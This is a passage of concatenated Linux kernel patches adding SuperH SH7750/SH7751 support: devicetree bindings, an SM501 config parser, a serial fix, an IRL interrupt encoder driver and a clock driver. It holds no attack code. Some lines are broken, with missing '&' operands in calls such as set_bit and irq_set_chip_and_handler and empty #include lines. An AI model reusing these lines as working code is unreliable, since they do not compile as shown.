@@ -82,6 +82,23 @@ struct sm501_devdata {
unsigned int rev;
 };
 
+enum prop_type {
+   PROP_NUM, PROP_STR,
+};
+
+enum val_type {
+   ENDIS, MT_EX, MT_XC, MT_SSM, MT_SM, MT_DEBUG, MT_DIV, MT_USB, MT_DELAY,
+   MC_PAD, MC_USBCLK, MC_SSP, MC_FP, MC_FREQ, MC_REFRESH, MC_HOLD, MC_SH,
+   MC_II, MC_GAP, MC_DAC, MC_MC, MC_BL, MC_USB, MC_LB, MC_VR,
+};
+
+struct sm501_config_props {
+   char *name;
+   u32 shift;
+   u32 width;
+   enum prop_type prop_type;
+   enum val_type val_type;
+};
 
 #define MHZ (1000 * 1000)
 
@@ -1370,6 +1387,419 @@ static int sm501_init_dev(struct sm501_devdata *sm)
return 0;
 }
 
+static u32 lookup_str(const char *val, const char * const *list)
+{
+   u32 ret = 0;
+
+   while (*list) {
+   if (strcmp(val, *list) == 0)
+   return ret;
+   list++;
+   ret++;
+   }
+   return ~0;
+}
+
+static u32 lookup_num(u32 val, const u32 *list)
+{
+   u32 ret = 0;
+
+   while (*list != ~0) {
+   if (val == *list)
+   return ret;
+   list++;
+   ret++;
+   }
+   return ~0;
+}
+
+static const struct sm501_config_props misc_timming[] = {
+   {"ex",  28, 4, PROP_NUM, MT_EX},
+   {"xc",  24, 2, PROP_STR, MT_XC},
+   {"us",  23, 1, PROP_STR, ENDIS},
+   {"ssm1",20, 1, PROP_STR, MT_SSM},
+   {"sm1", 16, 4, PROP_NUM, MT_SM},
+   {"ssm0",12, 1, PROP_STR, MT_SSM},
+   {"sm0",  8, 4, PROP_NUM, MT_SM},
+   {"deb",  7, 1, PROP_STR, MT_DEBUG},
+   {"acpi", 6, 1, PROP_STR, ENDIS},
+   {"divider",  4, 2, PROP_NUM, MT_DIV},
+   {"usb-mode", 3, 1, PROP_STR, MT_USB},
+   {"delay",0, 3, PROP_NUM, MT_DELAY},
+   {},
+};
+
+static const struct sm501_config_props misc_control[] = {
+   {"pad",  30, 2, PROP_NUM, MC_PAD},
+   {"usbclk",   28, 2, PROP_STR, MC_USBCLK},
+   {"uart-ssp", 27, 1, PROP_STR, MC_SSP},
+   {"lat",  26, 1, PROP_STR, ENDIS},
+   {"fp",   25, 1, PROP_NUM, MC_FP},
+   {"freq", 24, 1, PROP_NUM, MC_FREQ},
+   {"refresh",  21, 2, PROP_NUM, MC_REFRESH},
+   {"hold", 18, 3, PROP_NUM, MC_HOLD},
+   {"sh",   17, 1, PROP_STR, MC_SH},
+   {"ii",   16, 1, PROP_STR, MC_II},
+   {"pll",  15, 1, PROP_STR, ENDIS},
+   {"gap",  13, 2, PROP_STR, MC_GAP},
+   {"dac",  12, 1, PROP_STR, MC_DAC},
+   {"mc",   11, 1, PROP_STR, MC_MC},
+   {"bl",   10, 1, PROP_NUM, MC_BL},
+   {"usb",   9, 1, PROP_STR, MC_USB},
+   {"lb",8, 1, PROP_STR, MC_LB},
+   {"vr",4, 1, PROP_NUM, MC_VR},
+   {},
+};
+
+/* Read configuration values */
+static void sm501_of_read_config(struct device *dev, struct device_node *np,
+const char *prefix,
+const struct sm501_config_props *props,
+struct sm501_reg_init *ret)
+{
+   static const char * const endis[] = { "disable", "enable", NULL };
+   static const char * const xc[] = { "internal-pll", "hclk", "gpio33", 
NULL };
+   static const char * const ssm[] = { "288mhz", "div", NULL };
+   static const char * const debmode[] = { "input-reference", "output", 
NULL };
+   static const char * const usbmode[] = { "normal", "simulation", NULL };
+   static const char * const usbclk[] = { "crystal", "-", "96mhz", 
"48mhz", NULL };
+   static const char * const ssp[] = { "uart1", "ssp1", NULL };
+   static const char * const sh_ready[] = { "active-low", "active-high", 
NULL };
+   static const char * const int_invert[] = { "normal", "invert", NULL };
+   static const char * const slave[] = { "cpu", "8051", NULL };
+   static const char * const usbport[] = { "master", "slave", NULL };
+   static const char * const usbloop[] = { "normal", "loopback", NULL };
+
+   static const u32 divrate[] = { 336, 288, 240, 192, ~0 };
+   static const u32 fpdata[] = { 18, 24, ~0 };
+   static const u32 cfreq[] = { 24, 12, ~0 };
+   static const u32 bushold[] = { 0, 8, 16, 24, 32, ~0 };
+   static const u32 burst[] = { 8, 1, ~0 };
+   static const u32 vrmem[] = { 30, 62, ~0 };
+
+   struct device_node *child;
+   const char *sval;
+   u32 mask;
+   u32 

[DO NOT MERGE v6 24/37] dt-binding: sh: cpus: Add SH CPUs json-schema

[Yoshinori Sato]

Renesas SH series and compatible ISA CPUs.

Signed-off-by: Yoshinori Sato 
---
 .../devicetree/bindings/sh/cpus.yaml  | 74 +++
 1 file changed, 74 insertions(+)
 create mode 100644 Documentation/devicetree/bindings/sh/cpus.yaml

diff --git a/Documentation/devicetree/bindings/sh/cpus.yaml 
b/Documentation/devicetree/bindings/sh/cpus.yaml
new file mode 100644
index ..c04f897d2c2a
--- /dev/null
+++ b/Documentation/devicetree/bindings/sh/cpus.yaml
@@ -0,0 +1,74 @@
+# SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause)
+%YAML 1.2
+---
+$id: http://devicetree.org/schemas/sh/cpus.yaml#
+$schema: http://devicetree.org/meta-schemas/core.yaml#
+
+title: Renesas SuperH CPUs
+
+maintainers:
+  - Yoshinori Sato 
+
+description: |+
+  The device tree allows to describe the layout of CPUs in a system through
+  the "cpus" node, which in turn contains a number of subnodes (ie "cpu")
+  defining properties for every cpu.
+
+  Bindings for CPU nodes follow the Devicetree Specification, available from:
+
+  https://www.devicetree.org/specifications/
+
+properties:
+  compatible:
+anyOf:
+  - items:
+  - enum:
+  - renesas,sh2a
+  - renesas,sh3
+  - renesas,sh4
+  - renesas,sh4a
+  - jcore,j2
+  - const: renesas,sh2
+  - const: renesas,sh2
+
+  clock-frequency:
+$ref: /schemas/types.yaml#/definitions/uint32
+description: CPU core clock frequency.
+
+  clocks:
+maxItems: 1
+
+  clock-names: true
+
+  reg:
+maxItems: 1
+
+  device_type: true
+
+required:
+  - compatible
+  - reg
+  - device_type
+
+additionalProperties: true
+
+examples:
+  - |
+#include 
+cpus {
+#address-cells = <1>;
+#size-cells = <0>;
+
+cpu: cpu@0 {
+compatible = "renesas,sh4", "renesas,sh2";
+device_type = "cpu";
+reg = <0>;
+clocks = < SH7750_CPG_ICK>;
+clock-names = "ick";
+icache-size = <16384>;
+icache-line-size = <32>;
+dcache-size = <32768>;
+dcache-line-size = <32>;
+};
+};
+...
-- 
2.39.2

[DO NOT MERGE v6 21/37] dt-bindings: serial: renesas, scif: Add scif-sh7751.

[Yoshinori Sato]

Add Renesas SH7751 SCIF.

Signed-off-by: Yoshinori Sato 
---
 Documentation/devicetree/bindings/serial/renesas,scif.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/Documentation/devicetree/bindings/serial/renesas,scif.yaml 
b/Documentation/devicetree/bindings/serial/renesas,scif.yaml
index 4610a5bd580c..590f88e2ced9 100644
--- a/Documentation/devicetree/bindings/serial/renesas,scif.yaml
+++ b/Documentation/devicetree/bindings/serial/renesas,scif.yaml
@@ -18,6 +18,7 @@ properties:
   - items:
   - enum:
   - renesas,scif-r7s72100 # RZ/A1H
+  - renesas,scif-sh7751   # SH7751
   - const: renesas,scif   # generic SCIF compatible UART
 
   - items:
-- 
2.39.2

[DO NOT MERGE v6 22/37] dt-bindings: display: smi, sm501: SMI SM501 binding json-schema

[Yoshinori Sato]

Signed-off-by: Yoshinori Sato 
---
 .../bindings/display/smi,sm501.yaml   | 417 ++
 1 file changed, 417 insertions(+)
 create mode 100644 Documentation/devicetree/bindings/display/smi,sm501.yaml

diff --git a/Documentation/devicetree/bindings/display/smi,sm501.yaml 
b/Documentation/devicetree/bindings/display/smi,sm501.yaml
new file mode 100644
index ..8f2767bf2193
--- /dev/null
+++ b/Documentation/devicetree/bindings/display/smi,sm501.yaml
@@ -0,0 +1,417 @@
+# SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause)
+%YAML 1.2
+---
+$id: http://devicetree.org/schemas/display/smi,sm501.yaml#
+$schema: http://devicetree.org/meta-schemas/core.yaml#
+
+title: Silicon Motion SM501 Mobile Multimedia Companion Chip
+
+maintainers:
+  - Yoshinori Sato 
+
+description: |
+  These DT bindings describe the SM501.
+
+properties:
+  compatible:
+const:
+  smi,sm501
+
+  reg:
+maxItems: 2
+description: |
+ First entry: System Configuration register
+ Second entry: IO space (Display Controller register)
+
+  interrupts:
+description: SM501 interrupt to the cpu should be described here.
+
+  mode:
+$ref: /schemas/types.yaml#/definitions/string
+description: select a video mode
+
+  edid:
+description: |
+  verbatim EDID data block describing attached display.
+  Data from the detailed timing descriptor will be used to
+  program the display controller.
+
+  little-endian:
+$ref: /schemas/types.yaml#/definitions/flag
+description: available on big endian systems, to set different foreign 
endian.
+  big-endian:
+$ref: /schemas/types.yaml#/definitions/flag
+description: available on little endian systems, to set different foreign 
endian.
+
+  swap-fb-endian:
+$ref: /schemas/types.yaml#/definitions/flag
+description: swap framebuffer byteorder.
+
+  route-crt-panel:
+$ref: /schemas/types.yaml#/definitions/flag
+description: Panel output merge to CRT.
+
+  crt:
+type: object
+description: CRT output control
+properties:
+  edid:
+$ref: /schemas/types.yaml#/definitions/uint8-array
+description: |
+  verbatim EDID data block describing attached display.
+  Data from the detailed timing descriptor will be used to
+  program the display controller.
+
+  smi,flags:
+$ref: /schemas/types.yaml#/definitions/string-array
+description: Display control flags.
+items:
+  anyOf:
+- const: use-init-done
+- const: disable-at-exit
+- const: use-hwcursor
+- const: use-hwaccel
+- const: panel-no-fpen
+- const: panel-no-vbiasen
+- const: panel-inv-fpen
+- const: panel-inv-vbiasen
+maxItems: 8
+
+  bpp:
+$ref: /schemas/types.yaml#/definitions/uint32
+description: Color depth
+
+  panel:
+type: object
+description: Panel output control
+properties:
+  edid:
+$ref: /schemas/types.yaml#/definitions/uint8-array
+description: |
+  verbatim EDID data block describing attached display.
+  Data from the detailed timing descriptor will be used to
+  program the display controller.
+
+  smi,flags:
+$ref: /schemas/types.yaml#/definitions/string-array
+description: Display control flags.
+items:
+  anyOf:
+- const: use-init-done
+- const: disable-at-exit
+- const: use-hwcursor
+- const: use-hwaccel
+- const: panel-no-fpen
+- const: panel-no-vbiasen
+- const: panel-inv-fpen
+- const: panel-inv-vbiasen
+maxItems: 8
+
+  bpp:
+$ref: /schemas/types.yaml#/definitions/uint32
+description: Color depth
+
+  smi,devices:
+$ref: /schemas/types.yaml#/definitions/string-array
+description: Select SM501 device functions.
+items:
+  anyOf:
+- const: usb-host
+- const: usb-slave
+- const: ssp0
+- const: ssp1
+- const: uart0
+- const: uart1
+- const: fbaccel
+- const: ac97
+- const: i2s
+- const: gpio
+minItems: 1
+maxItems: 10
+
+  smi,mclk:
+$ref: /schemas/types.yaml#/definitions/uint32
+description: mclk frequency.
+
+  smi,m1xclk:
+$ref: /schemas/types.yaml#/definitions/uint32
+description: m1xclk frequency.
+
+  misc-timing:
+type: object
+description: Miscellaneous Timing register values.
+properties:
+  ex:
+$ref: /schemas/types.yaml#/definitions/uint32
+description: Extend bus holding time.
+enum: [0, 16, 32, 48, 64, 80, 96, 112, 128, 144, 160, 176, 192, 208, 
224, 240]
+
+  xc:
+$ref: /schemas/types.yaml#/definitions/string
+description: Xscale clock input select.
+items:
+  enum:
+- internal-pll
+- hclk

[DO NOT MERGE v6 20/37] serial: sh-sci: fix SH4 OF support.

[Yoshinori Sato]

- fix earlycon name.
- fix earlyprintk hung (NULL pointer reference).
- fix SERIAL_SH_SCI_EARLYCON enablement

Signed-off-by: Yoshinori Sato 
Reviewed-by: Geert Uytterhoeven 
---
 drivers/tty/serial/Kconfig  | 2 +-
 drivers/tty/serial/sh-sci.c | 6 +++---
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/drivers/tty/serial/Kconfig b/drivers/tty/serial/Kconfig
index 732c893c8d16..56d635371fd3 100644
--- a/drivers/tty/serial/Kconfig
+++ b/drivers/tty/serial/Kconfig
@@ -658,7 +658,7 @@ config SERIAL_SH_SCI_EARLYCON
depends on SERIAL_SH_SCI=y
select SERIAL_CORE_CONSOLE
select SERIAL_EARLYCON
-   default ARCH_RENESAS
+   default ARCH_RENESAS || SUPERH
 
 config SERIAL_SH_SCI_DMA
bool "DMA support" if EXPERT
diff --git a/drivers/tty/serial/sh-sci.c b/drivers/tty/serial/sh-sci.c
index 84ab434c94ba..0a33581be08b 100644
--- a/drivers/tty/serial/sh-sci.c
+++ b/drivers/tty/serial/sh-sci.c
@@ -2720,7 +2720,7 @@ static int sci_remap_port(struct uart_port *port)
if (port->membase)
return 0;
 
-   if (port->dev->of_node || (port->flags & UPF_IOREMAP)) {
+   if ((port->dev && port->dev->of_node) || (port->flags & UPF_IOREMAP)) {
port->membase = ioremap(port->mapbase, sport->reg_size);
if (unlikely(!port->membase)) {
dev_err(port->dev, "can't remap port#%d\n", port->line);
@@ -3555,8 +3555,8 @@ static int __init hscif_early_console_setup(struct 
earlycon_device *device,
 
 OF_EARLYCON_DECLARE(sci, "renesas,sci", sci_early_console_setup);
 OF_EARLYCON_DECLARE(scif, "renesas,scif", scif_early_console_setup);
-OF_EARLYCON_DECLARE(scif, "renesas,scif-r7s9210", rzscifa_early_console_setup);
-OF_EARLYCON_DECLARE(scif, "renesas,scif-r9a07g044", 
rzscifa_early_console_setup);
+OF_EARLYCON_DECLARE(rzscifa, "renesas,scif-r7s9210", 
rzscifa_early_console_setup);
+OF_EARLYCON_DECLARE(rzscifa, "renesas,scif-r9a07g044", 
rzscifa_early_console_setup);
 OF_EARLYCON_DECLARE(scifa, "renesas,scifa", scifa_early_console_setup);
 OF_EARLYCON_DECLARE(scifb, "renesas,scifb", scifb_early_console_setup);
 OF_EARLYCON_DECLARE(hscif, "renesas,hscif", hscif_early_console_setup);
-- 
2.39.2

[DO NOT MERGE v6 19/37] dt-bindings: interrupt-controller: renesas, sh7751-irl-ext: Add json-schema

[Yoshinori Sato]

Renesas SH7751 external interrupt encoder json-schema.

Signed-off-by: Yoshinori Sato 
---
 .../renesas,sh7751-irl-ext.yaml   | 72 +++
 1 file changed, 72 insertions(+)
 create mode 100644 
Documentation/devicetree/bindings/interrupt-controller/renesas,sh7751-irl-ext.yaml

diff --git 
a/Documentation/devicetree/bindings/interrupt-controller/renesas,sh7751-irl-ext.yaml
 
b/Documentation/devicetree/bindings/interrupt-controller/renesas,sh7751-irl-ext.yaml
new file mode 100644
index ..541b582b94ce
--- /dev/null
+++ 
b/Documentation/devicetree/bindings/interrupt-controller/renesas,sh7751-irl-ext.yaml
@@ -0,0 +1,72 @@
+# SPDX-License-Identifier: GPL-2.0-only OR BSD-2-Clause
+%YAML 1.2
+---
+$id: 
http://devicetree.org/schemas/interrupt-controller/renesas,sh7751-irl-ext.yaml#
+$schema: http://devicetree.org/meta-schemas/core.yaml#
+
+title: Renesas SH7751 external interrupt encoder with enable regs.
+
+maintainers:
+  - Yoshinori Sato 
+
+description:
+  This is the generally used external interrupt encoder on SH7751 based boards.
+
+properties:
+  compatible:
+items:
+  - const: renesas,sh7751-irl-ext
+
+  reg: true
+
+  interrupt-controller: true
+
+  '#interrupt-cells':
+const: 1
+
+  '#address-cells':
+const: 0
+
+  renesas,set-to-disable:
+$ref: /schemas/types.yaml#/definitions/flag
+description: Invert enable registers. Setting the bit to 0 enables 
interrupts.
+
+  renesas,enable-bit:
+$ref: /schemas/types.yaml#/definitions/uint32-matrix
+description: |
+  IRQ enable register bit mapping
+  1st word interrupt level
+  2nd word bit index of enable register
+
+required:
+  - compatible
+  - reg
+  - interrupt-controller
+  - '#interrupt-cells'
+  - renesas,enable-bit
+
+additionalProperties: false
+
+examples:
+  - |
+r2dintc: sh7751irl_encoder@a400 {
+compatible = "renesas,sh7751-irl-ext";
+reg = <0xa400 0x02>;
+interrupt-controller;
+#address-cells = <0>;
+#size-cells = <0>;
+#interrupt-cells = <1>;
+renesas,enable-bit = <0 11>,/* PCI INTD */
+ <1 9>, /* CF IDE */
+ <2 8>, /* CF CD */
+ <3 12>,/* PCI INTC */
+ <4 10>,/* SM501 */
+ <5 6>, /* KEY */
+ <6 5>, /* RTC ALARM */
+ <7 4>, /* RTC T */
+ <8 7>, /* SDCARD */
+ <9 14>,/* PCI INTA */
+ <10 13>,   /* PCI INTB */
+ <11 0>,/* EXT */
+ <12 15>;   /* TP */
+};
-- 
2.39.2

[DO NOT MERGE v6 18/37] irqchip: SH7751 external interrupt encoder with enable gate.

[Yoshinori Sato]

SH7751 have 15 level external interrupt.
It is typically connected to the CPU through a priority encoder
that can suppress requests.
This driver provides a way to control those hardware with irqchip.

Signed-off-by: Yoshinori Sato 
---
 drivers/irqchip/Kconfig |   7 +
 drivers/irqchip/Makefile|   2 +
 drivers/irqchip/irq-renesas-sh7751irl.c | 228 
 3 files changed, 237 insertions(+)
 create mode 100644 drivers/irqchip/irq-renesas-sh7751irl.c

diff --git a/drivers/irqchip/Kconfig b/drivers/irqchip/Kconfig
index 658523f65b1d..2a061c01f381 100644
--- a/drivers/irqchip/Kconfig
+++ b/drivers/irqchip/Kconfig
@@ -687,4 +687,11 @@ config RENESAS_SH7751_INTC
  Support for the Renesas SH7751 On-chip interrupt controller.
  And external interrupt encoder for some targets.
 
+config RENESAS_SH7751IRL_INTC
+   bool "Renesas SH7751 based target IRL encoder support."
+   depends on RENESAS_SH7751_INTC
+   help
+ Support for External Interrupt encoder
+ on the some Renesas SH7751 based target.
+
 endmenu
diff --git a/drivers/irqchip/Makefile b/drivers/irqchip/Makefile
index 26c91d075e25..91df16726b1f 100644
--- a/drivers/irqchip/Makefile
+++ b/drivers/irqchip/Makefile
@@ -121,3 +121,5 @@ obj-$(CONFIG_APPLE_AIC) += 
irq-apple-aic.o
 obj-$(CONFIG_MCHP_EIC) += irq-mchp-eic.o
 obj-$(CONFIG_SUNPLUS_SP7021_INTC)  += irq-sp7021-intc.o
 obj-$(CONFIG_RENESAS_SH7751_INTC)  += irq-renesas-sh7751.o
+obj-$(CONFIG_RENESAS_SH7751IRL_INTC)   += irq-renesas-sh7751irl.o
+
diff --git a/drivers/irqchip/irq-renesas-sh7751irl.c 
b/drivers/irqchip/irq-renesas-sh7751irl.c
new file mode 100644
index ..88303429ef64
--- /dev/null
+++ b/drivers/irqchip/irq-renesas-sh7751irl.c
@@ -0,0 +1,228 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * SH7751 based board external interrupt level encoder driver
+ * (Renesas RTS7751R2D / IO DATA DEVICE LANDISK, USL-5P)
+ *
+ * Copyright (C) 2023 Yoshinori Sato
+ */
+
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+
+struct sh7751irl_intc_priv {
+   struct irq_domain *irq_domain;
+   void __iomem  *base;
+   unsigned int  width;
+   bool  invert;
+   u32   enable_bit[NR_IRL];
+};
+
+static inline unsigned long get_reg(void __iomem *addr, unsigned int w)
+{
+   switch (w) {
+   case 8:
+   return __raw_readb(addr);
+   case 16:
+   return __raw_readw(addr);
+   case 32:
+   return __raw_readl(addr);
+   default:
+   /* The size is checked when reading the properties. */
+   pr_err("%s: Invalid width %d", __FILE__, w);
+   return 0;
+   }
+}
+
+static inline void set_reg(void __iomem *addr, unsigned int w, unsigned long 
val)
+{
+   switch (w) {
+   case 8:
+   __raw_writeb(val, addr);
+   break;
+   case 16:
+   __raw_writew(val, addr);
+   break;
+   case 32:
+   __raw_writel(val, addr);
+   break;
+   default:
+   pr_err("%s: Invalid width %d", __FILE__, w);
+   }
+}
+
+static inline struct sh7751irl_intc_priv *irq_data_to_priv(struct irq_data 
*data)
+{
+   return data->domain->host_data;
+}
+
+static void irl_endisable(struct irq_data *data, unsigned int enable)
+{
+   struct sh7751irl_intc_priv *priv;
+   unsigned long val;
+   unsigned int irl;
+
+   priv = irq_data_to_priv(data);
+   irl = irqd_to_hwirq(data) - IRL_BASE_IRQ;
+
+   if (irl < NR_IRL && priv->enable_bit[irl] < priv->width) {
+   if (priv->invert)
+   enable = !enable;
+
+   val = get_reg(priv->base, priv->width);
+   if (enable)
+   set_bit(priv->enable_bit[irl], );
+   else
+   clear_bit(priv->enable_bit[irl], );
+   set_reg(priv->base, priv->width, val);
+   } else {
+   pr_err("%s: Invalid register define in IRL %u", __FILE__, irl);
+   }
+}
+
+static void sh7751irl_intc_disable_irq(struct irq_data *data)
+{
+   irl_endisable(data, 0);
+}
+
+static void sh7751irl_intc_enable_irq(struct irq_data *data)
+{
+   irl_endisable(data, 1);
+}
+
+static struct irq_chip sh7751irl_intc_chip = {
+   .name   = "SH7751IRL-INTC",
+   .irq_enable = sh7751irl_intc_enable_irq,
+   .irq_disable= sh7751irl_intc_disable_irq,
+};
+
+static int sh7751irl_intc_map(struct irq_domain *h, unsigned int virq,
+  irq_hw_number_t hw_irq_num)
+{
+   irq_set_chip_and_handler(virq, _intc_chip, handle_level_irq);
+   irq_get_irq_data(virq)->chip_data = h->host_data;
+   irq_modify_status(virq, IRQ_NOREQUEST, IRQ_NOPROBE);
+   return 0;
+}
+

[DO NOT MERGE v6 15/37] clk: renesas: Add SH7750/7751 CPG Driver

[Yoshinori Sato]

Renesas SH7750 and SH7751 series CPG driver.
This driver supported frequency control and clock gating.

Signed-off-by: Yoshinori Sato 
---
 drivers/clk/renesas/Kconfig  |  16 +-
 drivers/clk/renesas/Makefile |   1 +
 drivers/clk/renesas/clk-sh7750.c | 498 +++
 3 files changed, 513 insertions(+), 2 deletions(-)
 create mode 100644 drivers/clk/renesas/clk-sh7750.c

diff --git a/drivers/clk/renesas/Kconfig b/drivers/clk/renesas/Kconfig
index 69396e197959..b1350cda7ade 100644
--- a/drivers/clk/renesas/Kconfig
+++ b/drivers/clk/renesas/Kconfig
@@ -1,8 +1,8 @@
 # SPDX-License-Identifier: GPL-2.0
 
 config CLK_RENESAS
-   bool "Renesas SoC clock support" if COMPILE_TEST && !ARCH_RENESAS
-   default y if ARCH_RENESAS
+   bool "Renesas SoC clock support" if COMPILE_TEST && !ARCH_RENESAS && 
!SUPERH
+   default y if ARCH_RENESAS || SUPERH
select CLK_EMEV2 if ARCH_EMEV2
select CLK_RZA1 if ARCH_R7S72100
select CLK_R7S9210 if ARCH_R7S9210
@@ -40,6 +40,9 @@ config CLK_RENESAS
select CLK_R9A08G045 if ARCH_R9A08G045
select CLK_R9A09G011 if ARCH_R9A09G011
select CLK_SH73A0 if ARCH_SH73A0
+   select CLK_SH7750 if CPU_SUBTYPE_SH7750 || CPU_SUBTYPE_SH7750S || \
+CPU_SUBTYPE_SH7750R || CPU_SUBTYPE_SH7751 || \
+CPU_SUBTYPE_SH7751R
 
 if CLK_RENESAS
 
@@ -193,6 +196,10 @@ config CLK_SH73A0
select CLK_RENESAS_CPG_MSTP
select CLK_RENESAS_DIV6
 
+config CLK_SH7750
+   bool "SH7750/7751 family clock support" if COMPILE_TEST
+   help
+ This is a driver for SH7750 / SH7751 CPG.
 
 # Family
 config CLK_RCAR_CPG_LIB
@@ -223,6 +230,11 @@ config CLK_RZG2L
bool "Renesas RZ/{G2L,G2UL,G3S,V2L} family clock support" if 
COMPILE_TEST
select RESET_CONTROLLER
 
+config CLK_SH7750
+   bool "Renesas SH7750/7751 family clock support" if COMPILE_TEST
+   help
+ This is a driver for SH7750 / SH7751 CPG.
+
 # Generic
 config CLK_RENESAS_CPG_MSSR
bool "CPG/MSSR clock support" if COMPILE_TEST
diff --git a/drivers/clk/renesas/Makefile b/drivers/clk/renesas/Makefile
index 879a07d445f9..233e029fcd54 100644
--- a/drivers/clk/renesas/Makefile
+++ b/drivers/clk/renesas/Makefile
@@ -37,6 +37,7 @@ obj-$(CONFIG_CLK_R9A07G054)   += r9a07g044-cpg.o
 obj-$(CONFIG_CLK_R9A08G045)+= r9a08g045-cpg.o
 obj-$(CONFIG_CLK_R9A09G011)+= r9a09g011-cpg.o
 obj-$(CONFIG_CLK_SH73A0)   += clk-sh73a0.o
+obj-$(CONFIG_CLK_SH7750)   += clk-sh7750.o
 
 # Family
 obj-$(CONFIG_CLK_RCAR_CPG_LIB) += rcar-cpg-lib.o
diff --git a/drivers/clk/renesas/clk-sh7750.c b/drivers/clk/renesas/clk-sh7750.c
new file mode 100644
index ..bd971e9a8869
--- /dev/null
+++ b/drivers/clk/renesas/clk-sh7750.c
@@ -0,0 +1,498 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Renesas SH7750/51 CPG driver
+ *
+ * Copyright 2023 Yoshinori Sato 
+ */
+
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+
+/* PCLK divide rate selector */
+static const struct clk_div_table pdiv_table[] = {
+   { .val = 0, .div = 2, },
+   { .val = 1, .div = 3, },
+   { .val = 2, .div = 4, },
+   { .val = 3, .div = 6, },
+   { .val = 4, .div = 8, },
+   { }
+};
+
+/* ICLK and BCLK divide rate selector */
+static const struct clk_div_table div_table[] = {
+   { .val = 0, .div = 1, },
+   { .val = 1, .div = 2, },
+   { .val = 2, .div = 3, },
+   { .val = 3, .div = 4, },
+   { .val = 4, .div = 6, },
+   { .val = 5, .div = 8, },
+   { }
+};
+
+struct cpg_priv {
+   struct clk_hw hw;
+   spinlock_t clklock;
+   void __iomem *frqcr;
+   void __iomem *clkstp00;
+   u32 mode;
+   u32 feat;
+};
+
+/* CPG feature flag */
+#define CPG_DIV1   BIT(0)  /* 7750, 7750S, 7751 */
+#define MSTP_CR2   BIT(1)  /* 7750S, 7750R, 7751, 7751R */
+#define MSTP_CLKSTPBIT(2)  /* 7750R, 7751, 7751R */
+#define MSTP_CSTP2 BIT(3)  /* 7751, 7751R */
+
+enum {
+   CPG_SH7750,
+   CPG_SH7750S,
+   CPG_SH7750R,
+   CPG_SH7751,
+   CPG_SH7751R,
+};
+
+static const u32 cpg_feature[] = {
+   [CPG_SH7750]  = CPG_DIV1,
+   [CPG_SH7750S] = CPG_DIV1 | MSTP_CR2,
+   [CPG_SH7750R] = MSTP_CR2 | MSTP_CLKSTP,
+   [CPG_SH7751]  = CPG_DIV1 | MSTP_CR2 | MSTP_CLKSTP | MSTP_CSTP2,
+   [CPG_SH7751R] = MSTP_CR2 | MSTP_CLKSTP | MSTP_CSTP2,
+};
+
+enum clk_type {CLK_DIV, CLK_STBCR, CLK_STBCR2, CLK_CLKSTP00};
+
+enum {
+   FRQCR = 0,
+   STBCR = 4,
+   WTCNT = 8,
+   WTCSR = 12,
+   STBCR2 = 16,
+   CLKSTP00 = 0,
+   CLKSTPCLR00 = 8,
+};
+
+static struct cpg_priv *cpg_data;
+
+#define to_priv(_hw) container_of(_hw, struct cpg_priv, hw)
+
+#define FRQCR_PLL1EN BIT(10)
+static const unsigned int pll1mult[] = { 12, 12, 6, 12, 6, 12, 1};
+
+static unsigned long pll_recalc_rate(struct clk_hw *hw,
+   

[DO NOT MERGE v6 17/37] dt-bindings: interrupt-controller: renesas, sh7751-intc: Add json-schema

[Yoshinori Sato]

Renesas SH7751 INTC json-schema.

Signed-off-by: Yoshinori Sato 
---
 .../renesas,sh7751-intc.yaml  | 105 ++
 1 file changed, 105 insertions(+)
 create mode 100644 
Documentation/devicetree/bindings/interrupt-controller/renesas,sh7751-intc.yaml

diff --git 
a/Documentation/devicetree/bindings/interrupt-controller/renesas,sh7751-intc.yaml
 
b/Documentation/devicetree/bindings/interrupt-controller/renesas,sh7751-intc.yaml
new file mode 100644
index ..beb29b225ac2
--- /dev/null
+++ 
b/Documentation/devicetree/bindings/interrupt-controller/renesas,sh7751-intc.yaml
@@ -0,0 +1,105 @@
+# SPDX-License-Identifier: GPL-2.0-only OR BSD-2-Clause
+%YAML 1.2
+---
+$id: 
http://devicetree.org/schemas/interrupt-controller/renesas,sh7751-intc.yaml#
+$schema: http://devicetree.org/meta-schemas/core.yaml#
+
+title: Renesas SH7751 Interrupt Controller
+
+maintainers:
+  - Yoshinori Sato 
+
+properties:
+  compatible:
+items:
+  - const: renesas,sh7751-intc
+
+  '#interrupt-cells':
+const: 1
+
+  interrupt-controller: true
+
+  reg:
+maxItems: 2
+
+  reg-names:
+items:
+  - const: ICR
+  - const: INTPRI00
+
+  renesas,icr-irlm:
+$ref: /schemas/types.yaml#/definitions/flag
+description: If true four independent interrupt requests mode (ICR.IRLM is 
1).
+
+  renesas,ipr-map:
+$ref: /schemas/types.yaml#/definitions/uint32-array
+description: |
+  IRQ to IPR mapping definition.
+  1st - INTEVT code
+  2nd - Register
+  3rd - bit index
+
+required:
+  - compatible
+  - reg
+  - reg-names
+  - '#interrupt-cells'
+  - interrupt-controller
+  - renesas,ipr-map
+
+additionalProperties: false
+
+examples:
+  - |
+#include 
+shintc: interrupt-controller@ffd0 {
+compatible = "renesas,sh7751-intc";
+reg = <0xffd0 14>, <0xfe08 128>;
+reg-names = "ICR", "INTPRI00";
+#interrupt-cells = <1>;
+interrupt-controller;
+renesas,ipr-map = <0x240 IPRD IPR_B12>, /* IRL0 */
+  <0x2a0 IPRD IPR_B8>,  /* IRL1 */
+  <0x300 IPRD IPR_B4>,  /* IRL2 */
+  <0x360 IPRD IPR_B0>,  /* IRL3 */
+  <0x400 IPRA IPR_B12>, /* TMU0 */
+  <0x420 IPRA IPR_B8>,  /* TMU1 */
+  <0x440 IPRA IPR_B4>,  /* TMU2 TNUI */
+  <0x460 IPRA IPR_B4>,  /* TMU2 TICPI */
+  <0x480 IPRA IPR_B0>,  /* RTC ATI */
+  <0x4a0 IPRA IPR_B0>,  /* RTC PRI */
+  <0x4c0 IPRA IPR_B0>,  /* RTC CUI */
+  <0x4e0 IPRB IPR_B4>,  /* SCI ERI */
+  <0x500 IPRB IPR_B4>,  /* SCI RXI */
+  <0x520 IPRB IPR_B4>,  /* SCI TXI */
